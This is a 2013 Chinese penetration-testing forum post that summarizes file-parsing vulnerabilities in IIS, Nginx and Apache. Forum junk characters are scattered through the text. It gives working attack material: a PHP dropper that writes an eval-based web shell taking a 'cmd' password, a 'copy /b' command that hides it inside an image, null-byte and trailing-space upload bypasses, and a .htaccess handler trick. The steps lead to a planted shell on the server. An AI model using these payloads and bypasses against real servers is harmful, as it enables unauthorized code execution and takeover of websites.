中国网络渗透测试联盟

标题: 常见服务器解析漏洞总结 [打印本页]

作者: admin    时间: 2013-4-19 19:14
标题: 常见服务器解析漏洞总结
Author : laterain6 Z+ e  z  x1 w5 s3 G
[+]IIS6.0
; y! O$ Q: ]& {4 X9 _
% v6 K% ~+ v: [9 q目录解析:/xx.asp/xx.jpg
2 ~3 `0 B7 T+ r9 r xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
$ \% T# l! P, t# P0 J9 I) T# k IIS6.0 会将 xx.jpg 解析为 asp 文件。
" p9 V# r( `/ L- _0 o3 D' T: z! {后缀解析:/xx.asp;.jpg     : n5 S7 M) T2 J& g2 n8 i
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。# a/ ?- d, \* x4 w4 X
默认解析:/xx.asa$ J* ^' Z0 b# t
         /xx.cer
( [. c9 r7 [, X; i( j* F5 Z         /xx.cdx! Q* {9 g- W" v6 n8 y0 W; u
IIS6.0 默认的可执行文件除了 asp 还包含这三种: A" u1 ]3 K" V! j. V3 R) d; `
此处可联系利用目录解析漏洞
! y" T, O  ^0 N. a% V" z/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg: h5 r8 M( s( N9 _  x6 [
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
. Z: x0 c% Q" [ & v1 J* n9 R( C- d% E+ r5 [
IIS 7.0/IIS 7.5/Nginx <0.8.03
$ ?; _4 _5 w* R' [$ C7 \" \, t( R: L 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面0 x" b9 ]5 @7 F( m  c: r2 W+ i/ Z" \
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
( A$ P: a# p( U/ g2 |, [ 常用利用方法:4 x* U7 Y5 y  n2 H8 b1 L$ z3 c- H/ j
将一张图和一个写入后门代码的文本文件合并将恶意文本: L8 B0 e: y- j% l1 q
写入图片的二进制代码之后,避免破坏图片文件头和尾+ Z: t: n8 L7 w1 n( W
如:* A7 l( y6 ^" e. i0 N2 u$ e# x  ^
copy xx.jpg /b + yy.txt/a xy.jpg
+ M* I* m2 l6 S/ l" j) M #########################################################" @$ }6 G9 U; w# g# |
/b 即二进制[binary]模式& }% s* ]' r! l  ~9 v5 h6 R: I
/a 即ascii模式4 I# n4 w$ ]  ^! A
xx.jpg 正常图片文件
6 f: p2 Z8 r8 p; Y% L- d+ [ yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
* c" _7 o* Q; m& [1 S1 r '<?php eval($_POST[cmd])?>');?>/ s7 K" D9 K& X  N" _6 W. O5 w3 G1 P
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称( A( ?# R3 [/ n0 {
为shell.php的文件
- O! u; E5 k6 ~. K  j ###########################################################: O/ O2 Q6 g/ c' O4 C$ A
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
0 |; l1 i% y7 G7 M 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php ; G3 a, A+ n( s7 Z
密码 cmd
" c5 h1 I: y- g! z8 _[+]Nginx <0.8.03' b9 D; M0 H& A
( ^8 A& v% X0 k6 y5 [* ~3 k
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
$ M! K, H6 G$ ^* ~  r- J2 s' P0 c2 B 在一个文件路径(/xx.jpg)后面加上%00.php
9 ~9 S7 W8 I4 b2 \+ w1 f# C, k 会将 /xx.jpg%00.php 解析为 php 文件。
  p& ^8 Z1 e3 q( p6 m- k* y) {2 m[+]Apache<0.8.03
7 J, K9 c0 L9 u) k- K; s+ ?" F * Y- m; d" V. A  l4 b9 \, }: X
后缀解析:test.php.x1.x2.x3
5 p& O! [% Y- J: S3 }- I/ m Apache将从右至左开始判断后缀,若x3非可识别后缀,9 q0 v" x, E- I( r
再判断x2,直到找到可识别后缀为止,然后将该可识别0 J" ]$ o0 v1 M$ z4 x
后缀进解析test.php.x1.x2.x3 则会被解析为php
; ~. O5 Z/ i, Z/ a+ T 经验之谈:php|php3|phtml 多可被Apache解析。
7 f+ u5 o. ]8 ]- O$ e[+]其他一些可利用的$ p9 S4 E, R* J1 X6 R% [0 @# y! t
8 q* A( O0 V/ P  e# v7 t6 K5 v. z
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的/ ]2 u6 u; ?5 j9 d
若这样命名,windows会默认除去空格或点,这也是可以被利用的!7 S8 M! H' Q/ I. t, w5 `
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
% ?$ e* }5 S) u% @  N# ~或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可& r, \6 q2 e% c
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
4 L" i; S" H* G' F3 K  ~& c, e{Linux主机中不行,Linux允许这类文件存在}% N& r% }) k, z7 z# x
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
! n- T2 V" b. s& p, V的,当初我并不知道),且可以被上传,那可以尝试在5 R3 B: C- b% P4 ^+ l/ |+ ~1 r
.htaccess中写入:
" I# ^9 {1 [! `<FilesMatch “shell.jpg”>
0 F7 }  ^; `% `SetHandler application/x-httpd-php 7 C3 z. [. B* N) m
</FilesMatch>8 }* n( s: M  B2 `
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件/ M2 i; j5 L( m& I8 b
[+]错误修改
6 m2 |' z" M/ g. \" k  \1 s$ h9 l
9 ]: O1 I! \3 W8 b" m在 IIS 6.0 下可解析 /xx.asp:.jpg% _- V0 Y* f8 A4 }2 a* Y
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
5 X9 a; Q/ [3 q, T& J$ ~' o; \剩下/xx.asp}修改:/ G& v$ m6 E9 Y& ^+ H. ?6 S
先谢谢核攻击的提醒$ I* _6 U$ B/ k. q4 W- |# D6 w
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
$ `7 g$ q- Q+ T# z里是没有任何内容的,因为。。不好解释 大家自己看+ f  t% I& i- L2 o# g5 e
http://lcx.cc/?i=2448
. V6 R; Y9 s0 K. t2 Bhttp://baike.baidu.com/view/3619593.htm4 K( E) G: ^" Y* r) ?. f

8 W5 y  m7 w0 P1 N9 e' h; Q9 j




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2